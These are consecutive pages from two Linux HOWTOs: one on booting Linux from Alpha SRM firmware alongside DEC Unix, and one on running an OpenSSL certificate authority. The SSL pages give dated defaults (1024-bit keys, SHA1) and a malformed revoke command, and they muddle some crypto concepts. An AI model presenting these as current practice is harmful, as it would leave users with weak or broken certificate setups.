DEC Unix insists that partition a starts at offset 0 and that partition c spans the entire disk. Other than that, you can setup the partition table any way you like.

Let's suppose you have DEC Unix using partition g and want to install Linux on partition h with partition b being a (largish) swap partition. To get this layout without destroying the existing DEC Unix partition, you need to set the partition types explicitly. You can do this by adding a t field for each partition. In our case, we add the following line to the above disktab entry.
    :ta=unused:tb=swap:tg=4.2BSD:th=resrvd8:

Now why do we mark partition h as "reservd8" instead of "ext2"? Well, DEC Unix doesn't know about Linux. It so happens that partition type "ext2" corresponds to a numeric value of 8, and DEC Unix uses the string "reservd8" for that value. Thus, in DEC Unix speak, "reservd8" means "ext2". OK, this was the hard part. Now we just need to install the updated disktab entry on the disk. Let's assume the disk has SCSI id 5. In this case, we'd do:
# disklabel -rw /dev/rrz5c rz26

You can verify that everything is all right by reading back the disklabel with disklabel -r /dev/rrz5c. At this point, you may want to reboot DEC Unix and make sure the existing DEC Unix partition is still alive and well. If that is the case, you can shut down the machine and start with the Linux installation. Be sure to skip the disk partitioning step during the install. Since we already installed a good partition table, you should be able to proceed and select the 8th partition as the Linux root partition and the 2nd partition as the swap partition. If the disk is, say, the second SCSI disk in the machine, then the device name for these partitions would be /dev/sdb8 and /dev/sdb2, respectively (note that Linux uses letters to name the drives and numbers to name the partitions, which is exactly reversed from what DEC Unix does; the Linux scheme makes more sense, of course ;-).

6.2. Installing aboot

First big caveat: with the SRM firmware, you can boot one and only one operating system per disk. For this reason, it is generally best to have at least two SCSI disks in a machine that you want to dual-boot between Linux and DEC Unix. Of course, you could also boot Linux from a floppy if speed doesn't matter or over the network, if you have a bootp-capable server. But in this section we assume you want to boot Linux from a disk that contains one or more DEC Unix partitions.

Second big caveat: installing aboot on a disk shared with DEC Unix renders the first and third partition unusable (since those must have a starting offset of 0). For this reason, we recommend that you change the size of partition a to something that is just big enough to hold aboot (1MB should be plenty).

Once these two caveats are taken care of, installing aboot is almost as easy as usual: since partition a and c will overlap with aboot, we need to tell swriteboot that this is indeed OK. We can do this under Linux with a command line of the following form (again, assuming we're trying to install aboot on the second SCSI disk):
# swriteboot -f1 -f3 /dev/sdb bootlx

The -f1 means that we want to force writing bootlx even though it overlaps with partition 1. The corresponding applies for partition 3.

This is it. You should now be able to shutdown the system and boot Linux from the harddisk. In our example, the SRM command line to do this would be:
>>> boot dka5 -fi 8/vmlinux.gz -fl root=/dev/sdb8

Prev | Home | Next
The aboot Loader |  | Installation of Distributions


Installation of Distributions

SRM Firmware Howto
Prev Next

7. Installation of Distributions

7.1. RedHat 6.0, 6.1 and 6.2

7.1.1. Installation from the Red Hat 6.0, 6.1 or 6.2 CD

Red Hat have made their distribution CD bootable from SRM console [1] To start an installation, put the CD in and type the following:
>>> boot srm-device -file kernels/generic.gz -flags root=linux-device

In the above, the SRM device name and Linux device name for your CD-ROM drive are needed. For Example if the machine had an IDE cdrom installed as primary master the command would look like this:
>>> boot dqa0 -file kernels/generic.gz -flags "root=/dev/hda"

See the section on Section 5.6.1 conventions if you don't know what these are.

7.2. SuSE 6.1

7.2.1. Installation from the SuSE 6.1 CD

The SuSE 6.1 CD is not bootable from SRM console. SuSE have an alternative approach which involves creating two boot floppies, the images of which are included on the CD. The boot disks can be created in various ways, depending on the systems you have available

Writing the boot disks from a linux system The command to use is dd. From the mount-point of SuSE CD 1, the commands are:
# dd if=disks/aboot of=/dev/fd0
# dd if=disks/install of=/dev/fd0

For writing the boot disks from a windows system, the command to use is rawrite. It is available on the CD.
 D:\tools\> rawrite

The program then prompts for input disk image and output disk drive. Run this command once for each of the disk images as shown above.

Starting the SuSE installer from the boot disks With the floppy disk made from the aboot image in place, type:
>>> boot dva0 -file vmlinux.gz -flags "root=/dev/fd0 load_ramdisk=1"

This will start the kernel, prompt you for the second boot disk, and start the installer

7.3. SuSE 6.3

7.3.1. Installation from the SuSE 6.3 CD

The SuSE 6.3 CD-ROM is SRM bootable much like the RedHat 6.0 and 6.1 CD-ROMs. The best way to start the install from SRM is to use the following command:
>>> boot srm-device -flags 0

In the above, the SRM device names for your CD-ROM drive is needed. For Example if the machine had an IDE cdrom installed as primary master the command would look like this:
>>> boot dqa0 -flags 0
SuSE has added support to aboot to allow it to load initrd files. The above command will from the CD-ROM drive and use config number 0 from the /etc/aboot.conf file. For other variations on this refer to the SuSE installation guide.

Notes

[1]

Please note that through the official RedHat CD-ROM is SRM bootable, copies made by various other companies may not be bootable.

Prev | Home | Next
Sharing a Disk With DEC Unix |  | Document History


Document History

SRM Firmware Howto
Prev

8. Document History

v0.8 9th November 2000 Changed from Rich Payne <rdp@alphalinux.org>

  • Added section on SRM Device names

  • Many spelling/grammer fixes.

v0.7.1 6th November 2000 Changes from Peter Petrakis <ppetrakis@alphalinux.org>

  • Cleaned up netbooting section. Avoid duplicate information.

  • Added DHCP/BOOTP server configuration section.

  • Added SRM netbooting section.

  • Put the older bootpd configuration in it's own section and elaborated on it.

v0.7 10th July 2000 Changes from Rich Payne <rdp@alphalinux.org>

  • Updated for RedHat 6.2

  • Fixed aboot link for alphalinux.org and added CVS information.

  • Added additional netboot information from Peter Petrakis <ppetrakis@alphalinux.org>

v0.6.1 21 March 2000 Changes from Rich Payne <rdp@alphalinux.org>

  • Made the installation hints a new chapter

  • Added information on Netbooting

  • Added to the new section on RedHat 6.1 and BSD disklabels

  • Removed David Mosberger-Tang's name from the authors list

  • Marked a few of the feature as being in 0.6 only

  • Added info for SuSE 6.3 and RedHat 6.1

v0.6 3 March 2000 Changes and information from David Huggins-Daines <dhd@linuxcare.com>

  • Moved the notes on MILO vs. SRM to an "About this document" section

  • Added sections on switching to SRM, and basic SRM usage

  • Added section on the new interactive use of aboot

  • Updated the note on DOS partition tables to mention the Red Hat 6.1 installer's behavior.

  • Normalized the markup, and codified the conventions used for user-entered commands.

  • Corrected the notes on BSD disklabels (SRM does not read BSD disklabels, it's just that they don't conflict with the boot block).

v0.5.2 5 December 1999 Added comments and information from Stig Telfer (stig @ alpha-processor.com).

  • Added chart on SRM to Linux name mappings

  • Added RedHat 6.0 and SuSE 6.1 installation information

  • Added Disk Partitioning Information

v0.5.1 (Not Released) 13 November 1999 Took the original 0.5 document and updated several parts:

  • Update information on SRM booting from IDE devices

  • Fixed URL to aboot source

  • Update toc page to reflect MILO's future

  • Included information on bootdef_dev and boot_dev to chapter 3

  • Added this section

v0.5 17 August 1996 - Original Document by David Mosberger-Tang

Prev | Home
Installation of Distributions |


Generalities

SSL Certificates HOWTO
Prev Next

Chapter 1. Generalities

Table of Contents
1.1. Introduction
1.1.1. Disclaimer and Licence
1.1.2. Prior knowledge
1.2. What is SSL and what are Certificates?
1.2.1. Private Key/Public Key:
1.2.2. The Certificate:
1.2.3. The Symmetric key:
1.2.4. Encryption algorithm:
1.2.5. The Hash:
1.2.6. Signing:
1.2.7. PassPhrase:
1.3. What about S/Mime or other protocols?
Prev | Home | Next
SSL Certificates HOWTO |  | Introduction


Certificate Management

SSL Certificates HOWTO
Prev Next

Chapter 2. Certificate Management

Table of Contents
2.1. Installation
2.1.1. The CA.pl utility
2.1.2. The openssl.cnf file
2.1.3. Create the Certification Authority
2.2. Create a Root Certification Authority Certificate.
2.3. Create a non root Certification Authority Certificate.
2.4. Install the CA root certificate as a Trusted Root Certificate
2.4.1. In Netscape
2.4.2. In Galeon
2.4.3. In Opera
2.4.4. In Internet Explorer
2.5. Certificate management
2.5.1. Generate and Sign a certificate request
2.5.2. Revoke a certificate
2.5.3. Renew a certificate
2.5.4. Display a certificate
2.5.5. The index.txt file
2.5.6. Build your web based Certificate Authority
2.6. Securing Internet Protocols.
2.6.1. Using a certificate with mod_ssl in apache
2.6.2. Using a certificate with IMAPS
2.6.3. Using a certificate with POPS
2.6.4. Using a certificate with Postfix
2.6.5. Using a certificate with Stunnel
2.6.6. Generate and Sign a key with Microsoft Key Manager
2.7. Securing E-mails.
2.7.1. Generate and use an s/mime certificate
2.7.2. To use this certificate with MS Outlook
2.7.3. To use this certificate with MS Outlook Express
2.7.4. To use this certificate with Netscape Messenger
2.7.5. To use this certificate with Evolution
2.7.6. To use this certificate with Balsa
2.7.7. To use this certifcate with KMail
2.8. Securing Code
Prev | Home | Next
What about S/Mime or other protocols? |  | Installation


SSL Certificates HOWTO

Franck Martin

Revision History
Revision v0.3 | 2002-05-09 | Revised by: FM
Adding x509v3 extension information - Correcting spelling
Revision v0.2 | 2001-12-06 | Revised by: FM
Adding openssl.cnf file - Adding CRL info from Averroes- Correcting spelling
Revision v0.1 | 2001-11-18 | Revised by: FM
Creation of the HOWTO

A first hand approach on how to manage a certificate authority (CA), and issue or sign certificates to be used for secure web, secure e-mail, or signing code and other usages.

Table of Contents
1. Generalities
1.1. Introduction
1.2. What is SSL and what are Certificates?
1.3. What about S/Mime or other protocols?
2. Certificate Management
2.1. Installation
2.2. Create a Root Certification Authority Certificate.
2.3. Create a non root Certification Authority Certificate.
2.4. Install the CA root certificate as a Trusted Root Certificate
2.5. Certificate management
2.6. Securing Internet Protocols.
2.7. Securing E-mails.
2.8. Securing Code
Next
Generalities


Introduction

SSL Certificates HOWTO
Prev Chapter 1. Generalities Next

1.1. Introduction

Dear reader, like myself, you have intensively read the man pages of the applications of the OpenSSL project, and like myself, you couldn't figure out where to start, and how to work securely with certificates. Here is the answer to most of your questions.

This HOWTO will also deal with non-linux applications: there is no use to issue certificates if you can't use them... All applications won't be listed here, but please, send me additional paragraphs and corrections. I can be reached at the following address:franck@sopac.org.

1.1.1. Disclaimer and Licence

This document is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

In short, if the advises given here break the security of your e-commerce application, then tough luck- it's never our fault. Sorry.

Copyright (c) 2001 by Franck Martin and others from the openssl-users mailing list under GFDL (the GNU Free Documentation License).

Please freely copy and distribute (sell or give away) this document in any format. It's requested that corrections and/or comments be forwarded to the document maintainer. You may create a derivative work and distribute it provided that you:

  1. Send your derivative work (in the most suitable format such as sgml) to the LDP (Linux Documentation Project) or the like for posting on the Internet. If not the LDP, then let the LDP know where it is available.

  2. License the derivative work with this same license or use GPL. Include a copyright notice and at least a pointer to the license used.

  3. Give due credit to previous authors and major contributors. If you're considering making a derived work other than a translation, it's requested that you discuss your plans with the current maintainer.

It is also requested that if you publish this HOWTO in hardcopy that you send the authors some samples for 'review purposes' :-). You may also want to send something to cook my noodles ;-)

1.1.2. Prior knowledge

As indicated in the introduction, this documents is an hand-on HOWTO, and it is therefore required that you consult the man pages of the OpenSSL software. You should as well read security books to learn how your security could be compromised. Certificates are meant to increase the security of your transactions, it is VERY important that you understand all the security implications of your actions and what security OpenSSL does not provide.

Prev | Home | Next
Generalities | Up | What is SSL and what are Certificates?


What is SSL and what are Certificates?

SSL Certificates HOWTO
Prev Chapter 1. Generalities Next

1.2. What is SSL and what are Certificates?

The Secure Socket Layer protocol was created by Netscape to ensure secure transactions between web servers and browsers. The protocol uses a third party, a Certificate Authority (CA), to identify one end or both end of the transactions. This is in short how it works.

  1. A browser requests a secure page (usually https://).

  2. The web server sends its public key with its certificate.

  3. The browser checks that the certificate was issued by a trusted party (usually a trusted root CA), that the certificate is still valid and that the certificate is related to the site contacted.

  4. The browser then uses the public key, to encrypt a random symmetric encryption key and sends it to the server with the encrypted URL required as well as other encrypted http data.

  5. The web server decrypts the symmetric encryption key using its private key and uses the symmetric key to decrypt the URL and http data.

  6. The web server sends back the requested html document and http data encrypted with the symmetric key.

  7. The browser decrypts the http data and html document using the symmetric key and displays the information.

Several concepts have to be understood here.

1.2.1. Private Key/Public Key:

The encryption using a private key/public key pair ensures that the data can be encrypted by one key but can only be decrypted by the other key pair. This is sometime hard to understand, but believe me it works. The keys are similar in nature and can be used alternatively: what one key emcrypts, the other key pair can decrypt. The key pair is based on prime numbers and their length in terms of bits ensures the difficulty of being able to decrypt the message without the key pairs. The trick in a key pair is to keep one key secret (the private key) and to distribute the other key (the public key) to everybody. Anybody can send you an encrypted message, that only you will be able to decrypt. You are the only one to have the other key pair, right? In the opposite , you can certify that a message is only coming from you, because you have encrypted it with you private key, and only the associated public key will decrypt it correctly. Beware, in this case the message is not secured you have only signed it. Everybody has the public key, remember!

One of the problem left is to know the public key of your correspondent. Usually you will ask him to send you a non confidential signed message that will contains his publick key as well as a certificate.

1.2.2. The Certificate:

How do you know that you are dealing with the right person or rather the right web site. Well, someone has taken great length (if they are serious) to ensure that the web site owners are who they claim to be. This someone, you have to implicitly trust: you have his/her certificate loaded in your browser (a root Certificate). A certificate, contains information about the owner of the certificate, like e-mail address, owner's name, certificate usage, duration of validity, resource location or Distinguished Name (DN) which includes the Common Name (CN) (web site address or e-mail address depending of the usage) and the certificate ID of the person who certifies (signs) this information. It contains also the public key and finally a hash to ensure that the certificate has not been tampered with. As you made the choice to trust the person who signs this certificate, therefore you also trust this certificate. This is a certificate trust tree or certificate path. Usually your browser or application has already loaded the root certificate of well known Certification Authorities (CA) or root CA Certificates. The CA maintains a list of all signed certificates as well as a list of revoked certificates. A certificate is insecure until it is signed, as only a signed certificate cannot be modified. You can sign a certificate using itself, it is called a self signed certificate. All root CA certificates are self signed.

1.2.3. The Symmetric key:

Well, Private Key/Public Key encryption algorithms are great, but they are not usually practical. It is asymmetric because you need the other key pair to decrypt. You can't use the same key to encrypt and decrypt. An algorithm using the same key to decrypt and encrypt is deemed to have a symmetric key. A symmetric algorithm is much faster in doing its job than an asymmetric algorithm. But a symmetric key is potentially highly insecure. If the enemy gets hold of the key then you have no more secret information. You must therefore transmit the key to the other party without the enemy getting its hands on it. As you know, nothing is secure on the Internet. The solution is to encapsulate the symmetric key inside a message encrypted with an asymmetric algorithm. You have never transmitted your private key to anybody, then the message encrypted with the public key is secure (relatively secure, nothing is certain except death and taxes). The symmetric key is also chosen randomly, so that if the symmetric secret key is discovered then the next transaction will be totally different.

1.2.4. Encryption algorithm:

There are several encryption algorithms available, using symmetric or asymmetric methods, with keys of various lengths. Usually, algorithms cannot be patented, if Henri Poincare had patented his algorithms, then he would have been able to sue Albert Einstein... So algorithms cannot be patented except mainly in USA. OpenSSL is developed in a country where algorithms cannot be patented and where encryption technology is not reserved to state agencies like military and secret services. During the negotiation between browser and web server, the applications will indicate to each other a list of algorithms that can be understood ranked by order of preference. The common preferred algorithm is then chosen. OpenSSL can be compiled with or without certain algorithms, so that it can be used in many countries where restrictions apply.

1.2.5. The Hash:

A hash is a number given by a hash function from a message. This is a one way function, it means that it is impossible to get the original message knowing the hash. However the hash will drastically change even for the slightest modification in the message. It is therefore extremely difficult to modify a message while keeping its original hash. It is also called a message digest. Hash functions are used in password mechanisms, in certifying that applications are original (MD5 sum), and in general in ensuring that any message has not been tampered with. It seems that the Internet Enginering Task Force (IETF) prefers SHA1 over MD5 for a number of technical reasons (Cf RFC2459 7.1.2 and 7.1.3).

1.2.6. Signing:

Signing a message, means authentifying that you have yourself assured the authenticity of the message (most of the time it means you are the author, but not neccesarily). The message can be a text message, or someone else's certificate. To sign a message, you create its hash, and then encrypt the hash with your private key, you then add the encrypted hash and your signed certificate with the message. The recipient will recreate the message hash, decrypts the encrypted hash using your well known public key stored in your signed certificate, check that both hash are equals and finally check the certificate.

The other advantage of signing your messages is that you transmit your public key and certificate automatically to all your recipients.

1.2.7. PassPhrase:

“A passprase is like a password except it is longer”. In the early days passwords on Unix system were limited to 8 characters, so the term passphrase for longer passwords. Longer is the password harder it is to guess. Nowadays Unix systems use MD5 hashes which have no limitation in length of the password.

Prev | Home | Next
Introduction | Up | What about S/Mime or other protocols?


What about S/Mime or other protocols?

SSL Certificates HOWTO
Prev Chapter 1. Generalities Next

1.3. What about S/Mime or other protocols?

If SSL was developed for web servers, it can be used to encrypt any protocol. Any protocol can be encapsulated inside SSL. This is used in IMAPS, POPS, SMTPS,... These secure protocols will use a different port than their insecure version. SSL can also be used to encrypt any transaction: there is no need to be in direct (live) contact with the recipient. S/Mime is such protocol, it encapsulates an encrypted message inside a standard e-mail. The message is encrypted using the public key of the recipient. If you are not online with the recipient then you must know its public key. Either you get it from its web site, from a repository, or you request the recipient to e-mail you its public key and certificate (to ensure you are speaking to the right recipient).

In a reverse order, the browser can send its own signed certificate to the web server, as a mean of authentication. But everybody can get the browser certificate on the CA web site. Yes, but the signed certificate has been sent encrypted with the private key, that only the public key can decrypt.

Prev | Home | Next
What is SSL and what are Certificates? | Up | Certificate Management


Installation

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management Next

2.1. Installation

Nowadays, you do not have to worry too much about installing OpenSSL: most distributions use package management applications. Refer to your distribution documentation, or read the README and INSTALL file inside the OpenSSL tarball. I want also to avoid to make this HOWTO, an installation HOWTO rather than an HOWTO use certificates.

I describe here some standard installation options which are necessary to know for the samples following. Your installation may differ.

The directory for all OpenSSL certificates is /var/ssl/. All commands and paths in this document are issued from this directory, it is not mandatory but it will help the examples.

OpenSSL by default looks for a configuration file in /usr/lib/ssl/openssl.cnf so always add -config /etc/openssl.cnf to the commands openssl ca or openssl req for instance. I use /etc/openssl.cnf so all my configuration files are all in /etc.

Utilities and other libraries are located in /usr/lib/ssl.

2.1.1. The CA.pl utility

Ensure that the utility CA.pl is in an accessible directory such as /usr/sbin. CA.pl can be found inside /usr/lib/ssl directories. CA.pl is a utility that hides the complexity of the openssl command. In all the examples, when I use CA.pl, I will also put the openssl equivalent in brakets.

/usr/sbin/CA.pl needs to be modified to include -config /etc/openssl.cnf in ca and req calls.

#$SSLEAY_CONFIG=$ENV{"SSLEAY_CONFIG"}
$SSLEAY_CONFIG="-config /etc/openssl.cnf";

2.1.2. The openssl.cnf file

/etc/openssl.cnf must be configured accordingly to minimize input entry.

#---Begin---
#
# OpenSSL example configuration file.
# This is mostly being used for generation of certificate requests.
#

RANDFILE  = $ENV::HOME/.rnd
oid_file  = $ENV::HOME/.oid
oid_section  = new_oids

# To use this configuration file with the "-extfile" option of the
# "openssl x509" utility, name here the section containing the
# X.509v3 extensions to use:
# extensions  =
# (Alternatively, use a configuration file that has only
# X.509v3 extensions in its main [= default] section.)

[ new_oids ]

# We can add new OIDs in here for use by 'ca' and 'req'.
# Add a simple OID like this:
# testoid1=1.2.3.4
# Or use config file substitution like this:
# testoid2=${testoid1}.5.6

####################################################################
[ ca ]
default_ca = CA_default  # The default ca section

####################################################################

[ CA_default ]
dir             = /var/ssl                # Where everything is kept
certs           = $dir/certs              # Where the issued certs are kept
crl_dir         = $dir/crl                # Where the issued crl are kept
database        = $dir/index.txt          # database index file.
new_certs_dir   = $dir/newcerts           # default place for new certs.

certificate     = $dir/cacert.pem         # The CA certificate
serial          = $dir/serial             # The current serial number
crl             = $dir/crl.pem            # The current CRL
private_key     = $dir/private/cakey.pem  # The private key
RANDFILE        = $dir/private/.rand      # private random number file
x509_extensions = usr_cert                # The extentions to add to the cert

# Extensions to add to a CRL. Note: Netscape communicator chokes on V2 CRLs
# so this is commented out by default to leave a V1 CRL.
# crl_extensions = crl_ext

default_days    = 365                     # how long to certify for
default_crl_days= 30                      # how long before next CRL
default_md      = sha1                    # which md to use.
preserve        = no                      # keep passed DN ordering

# A few difference way of specifying how similar the request should look
# For type CA, the listed attributes must be the same, and the optional
# and supplied fields are just that :-)
policy  = policy_match

# For the CA policy
[ policy_match ]
countryName            = match
stateOrProvinceName    = optional
localityName           = match
organizationName       = match
organizationalUnitName = optional
commonName             = supplied
emailAddress           = optional

# For the 'anything' policy
# At this point in time, you must list all acceptable 'object'
# types.
[ policy_anything ]
countryName            = optional
stateOrProvinceName    = optional
localityName           = optional
organizationName       = optional
organizationalUnitName = optional
commonName             = supplied
emailAddress           = optional

####################################################################
[ req ]
default_bits       = 1024
default_keyfile    = privkey.pem
distinguished_name = req_distinguished_name
attributes         = req_attributes
default_md         = sha1
x509_extensions    = v3_ca # The extentions to add to the self signed cert

[ req_distinguished_name ]
countryName         = Country Name (2 letter code)
countryName_default = FJ
countryName_min     = 2
countryName_max     = 2

stateOrProvinceName         = State or Province Name (full name)
stateOrProvinceName_default = Fiji

localityName          = Locality Name (eg, city)
localityName_default  = Suva

0.organizationName         = Organization Name (eg, company)
0.organizationName_default = SOPAC

# we can do this but it is not needed normally :-)
#1.organizationName         = Second Organization Name (eg, company)
#1.organizationName_default = World Wide Web Pty Ltd

organizationalUnitName         = Organizational Unit Name (eg, section)
organizationalUnitName_default = ITU

commonName       = Common Name (eg, YOUR name)
commonName_max   = 64
emailAddress     = Email Address
emailAddress_max = 40

# SET-ex3   = SET extension number 3

[ req_attributes ]
challengePassword     = A challenge password
challengePassword_min = 4
challengePassword_max = 20

unstructuredName      = An optional company name

[ usr_cert ]

# These extensions are added when 'ca' signs a request.
# This goes against PKIX guidelines but some CAs do it and some software
# requires this to avoid interpreting an end user certificate as a CA.

basicConstraints=CA:FALSE

# Here are some examples of the usage of nsCertType. If it is omitted
# the certificate can be used for anything *except* object signing.

# This is OK for an SSL server.
# nsCertType   = server

# For an object signing certificate this would be used.
# nsCertType = objsign

# For normal client use this is typical
# nsCertType = client, email

# and for everything including object signing:
# nsCertType = client, email, objsign

# This is typical in keyUsage for a client certificate.
# keyUsage = nonRepudiation, digitalSignature, keyEncipherment

# This will be displayed in Netscape's comment listbox.
nsComment  = "Certificate issued by https://www.sopac.org/ssl/"

# PKIX recommendations harmless if included in all certificates.
subjectKeyIdentifier=hash

authorityKeyIdentifier=keyid,issuer:always

# This stuff is for subjectAltName and issuerAltname.
# Import the email address.
# subjectAltName=email:copy

# Copy subject details
# issuerAltName=issuer:copy

# This is the base URL for all others URL addresses
# if not supplied
nsBaseUrl  = https://www.sopac.org/ssl/

# This is the link where to download the latest Certificate
# Revocation List (CRL)
nsCaRevocationUrl = https://www.sopac.org/ssl/sopac-ca.crl

# This is the link where to revoke the certificate
nsRevocationUrl  = https://www.sopac.org/ssl/revocation.html?

# This is the location where the certificate can be renewed
nsRenewalUrl  = https://www.sopac.org/ssl/renewal.html?

# This is the link where the CA policy can be found
nsCaPolicyUrl  = https://www.sopac.org/ssl/policy.html

# This is the link where we can get the issuer certificate
issuerAltName = URI:https://www.sopac.org/ssl/sopac.crt

# This is the link where to get the latest CRL
crlDistributionPoints = URI:https://www.sopac.org/ssl/sopac-ca.crl

[ v3_ca ]

# Extensions for a typical CA

# PKIX recommendation.

subjectKeyIdentifier=hash

authorityKeyIdentifier=keyid:always,issuer:always

# This is what PKIX recommends but some broken software chokes on critical
# extensions.
# basicConstraints = critical,CA:true
# So we do this instead.
basicConstraints = CA:true

# Key usage: this is typical for a CA certificate. However since it will
# prevent it being used as an test self-signed certificate it is best
# left out by default.
# keyUsage = cRLSign, keyCertSign

# Some might want this also
# nsCertType = sslCA, emailCA

# Include email address in subject alt name: another PKIX recommendation
# subjectAltName=email:copy
# Copy issuer details
# issuerAltName=issuer:copy

# RAW DER hex encoding of an extension: beware experts only!
# 1.2.3.5=RAW:02:03
# You can even override a supported extension:
# basicConstraints= critical, RAW:30:03:01:01:FF

# This will be displayed in Netscape's comment listbox.
nsComment  = "Certificate issued by https://www.sopac.org/ssl/"

# This is the base URL for all others URL addresses
# if not supplied
nsBaseUrl  = https://www.sopac.org/ssl/

# This is the link where to download the latest Certificate
# Revocation List (CRL)
nsCaRevocationUrl = https://www.sopac.org/ssl/sopac-ca.crl

# This is the link where to revoke the certificate
nsRevocationUrl  = https://www.sopac.org/ssl/revocation.html?

# This is the location where the certificate can be renewed
nsRenewalUrl  = https://www.sopac.org/ssl/renewal.html?

# This is the link where the CA policy can be found
nsCaPolicyUrl  = https://www.sopac.org/ssl/policy.html

# This is the link where we can get the issuer certificate
issuerAltName = URI:https://www.sopac.org/ssl/sopac.crt

# This is the link where to get the latest CRL
crlDistributionPoints = URI:https://www.sopac.org/ssl/sopac-ca.crl

[ crl_ext ]
# CRL extensions.
# Only issuerAltName and authorityKeyIdentifier make any sense in a CRL.
# issuerAltName=issuer:copy
authorityKeyIdentifier=keyid:always,issuer:always

#----End----

A few comments on openssl.cnf.

  • Variable names can use the suffixes _default for default value, _min for the minimum number of characters required and _max for the maximum number of characters required.

  • The file is composed of [Sections] of variables.

dir:

Specifies the base directory.

default_ca:

Specifies which section contains the variables for a default certificate.

basicConstraints:

Defines the usage of the certificate, for instance with CA:TRUE, the certificate is a root CA Certificate.

2.1.3. Create the Certification Authority

To create a certification authority, use the command after correctly editing openssl.cnf:

CA.pl -newca

Prev | Home | Next
Certificate Management | Up | Create a Root Certification Authority Certificate.


Create a Root Certification Authority Certificate.

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management Next

2.2. Create a Root Certification Authority Certificate.

CA.pl -newcert
(openssl req -config /etc/openssl.cnf -new -x509 -keyout newreq.pem -out newreq.pem -days 365)

creates a self signed certificate (for Certificate Authority). The resulting file goes into newreq.pem. For the common Name (CN) use something like “ACME root Certificate”. This file needs to be split into 2 files cacert.pem and private/cakey.pem. The part -RSA PRIVATE KEY- goes into private/cakey.pem while the part -CERTIFICATE- goes into cacert.pem. Delete newreq.pem when finished.

Now ensure that the file index.txt is empty and that the file serial contains 1.

You may want to increase the number of days so that your root certificate and all the certificates signed by this root does not have to be changed when the root certificate expires. I think professional companies work over 5 years to 10 years for their root certificates.

openssl req -config /etc/openssl.cnf-new -x509 -keyout private/cakey.pem -out cacert.pem -days 3650

This last command is better than “CA.pl -newcert” as it will place the files in the required locations and create a root CA valid for 10 years.

Now ensure that this self signed root certificate is used only to sign other certificates. The private key is highly sensible, never compromise it, by removing the passphrase that protects it. Some people will place the private key on a floppy and will load it only when signing other certificates. If you computer gets hacked they can't physically get hold of the private key, if it is on a floppy.

Now you have a root Certification Authority. Other people need to trust your self-signed root CA Certificate, and therefore download it and register it on their browser.

You will have to type the passphrase each time you want to sign another certificate with it.

Prev | Home | Next
Installation | Up | Create a non root Certification Authority Certificate.


Create a non root Certification Authority Certificate.

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management Next

2.3. Create a non root Certification Authority Certificate.

FIXME because I'm not sure about the procedure.

It is possible to use any signed certificate to sign any other certificate, provided that the certificate is valid and has been issued with the signing capability. So you can create a certificate request and a private key, make the certificate been signed by a third party and install the signed certificate and private key. The part -PRIVATE KEY- goes into private/cakey.pem while the part -CERTIFICATE- goes into cacert.pem.

Prev | Home | Next
Create a Root Certification Authority Certificate. | Up | Install the CA root certificate as a Trusted Root Certificate


Install the CA root certificate as a Trusted Root Certificate

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management Next

2.4. Install the CA root certificate as a Trusted Root Certificate

First strip the certificate from all its text to keep only the -CERTIFICATE- section

openssl x509 -in cacert.pem -out cacert.crt

Place this file on your web site as http://mysite.com/ssl/cacert.crt. Your web server should have a mime entry for .crt files. Your certificate is ready to be downloaded by any browser and saved.

It is important to publish the root CA Certificate on a web site as it is unlikely that people will have it already loaded on their browser. Beware, somebody could fake your web site and fake your root CA Certificate. If you can have more than one way for users to get your certificate, it is unlikely that a hacker will be able to corrupt everything.

2.4.1. In Netscape

Download the certificate from the web server or from the file system using Netscape. Netscape automatically recognises that it is a root certificate and will propose you to add it in its store. Follow the wizard to install the certifcate. At the end of the wizard you have to specify for which type of application you trust this certifcate: web site security, e-mail signing, or code signing.

2.4.2. In Galeon

FIXME

2.4.3. In Opera

FIXME

2.4.4. In Internet Explorer

With your browser, point to the address of the certificate and save the file on your disk. Double click on the file and the Certificate Installation wizard will start. Because the certificate is self signed, Internet explorer will automatically install it in the Trusted root Certificate Authority list. From now on, Internet Explorer won't complain and any Certificate signed with this root CA Certificate will be trusted too.

You can also open it from Internet explorer which will display the certificate. Click on the button Install Certificate to launch the Certificate Installation wizard.

Prev | Home | Next
Create a non root Certification Authority Certificate. | Up | Certificate management


Certificate management

SSL Certificates HOWTO
Prev Chapter 2. Certificate Management Next

2.5. Certificate management

2.5.1. Generate and Sign a certificate request

CA.pl -newreq
(openssl req -config /etc/openssl.cnf -new -keyout newreq.pem -out newreq.pem -days 365)

creates a new private key and a certificate request and place it as newreq.pem. Enter a Common Name (CN) the main usage of the certificate for instance www.sopac.org if you want to secure the website www.sopac.org, or enter franck@sopac.org if you want to use to secure the e-mails of franck@sopac.org.

CA.pl -sign
(openssl ca -config /etc/openssl.cnf -policy policy_anything -out newcert.pem -infiles newreq.pem)

will sign the request using the cacert.pem and commit the certificate as newcert.pem. You will need to enter the passphrase of the cacert.pem (your CA Certificate). The file newcerts/xx.pem will be created and index.txt and serial will be updated.

You private key is in newreq.pem -PRIVATE KEY- and your certificate is in newcert.pem -CERTIFICATE-

A copy of newcert.pem is placed in newcerts/ with an adequate entry in index.txt so that a client can request this information via a web server to ensure the authenticity of the certificate.

Beware of your newreq.pem file, because it contains a certificate request, but also your private key. The -PRIVATE KEY- section is not required when you sign it. So if you request someone else to sign your certificate request, ensure that you have removed the -PRIVATE KEY- section from the file. If you sign someone else certificate request, request from this person its -CERTIFICATE REQUEST- section not its private key.

2.5.2. Revoke a certificate

To revoke a certificate simply issue the command:

openssl -revoke newcert.pem

The database is updated and the certificate is marked as revoked. You now need to generate the new revoked list of certificates:

openssl ca -gencrl -config /etc/openssl.cnf -out crl/sopac-ca.crl

This Certificate Revokation List (CRL) file should be made available on your web site.

You may want to add the parameters crldays or crlhours and crlexts when you revoke a certificate. The first two parameters indicate when the next CRL will be updated and the last one will use the crl_exts section in openssl.cnf to produce a CRL v2 instead of a CRL v1.

openssl ca -gencrl -config /etc/openssl.cnf -crldays 7 -crlexts crl_ext -out crl/sopac-ca.crl

2.5.3. Renew a certificate

The user sends you its old certificate request or create a new one based on its private key.

First you have to revoke the previous certificate and sign again the certificate request.

To find the old certificate, look in the index.txt file for the Distinguished Name (DN) corresponding to the request. Get the serial Number <xx>, and use the file cert/<xx>.pem as certificate for the revocation procedure.

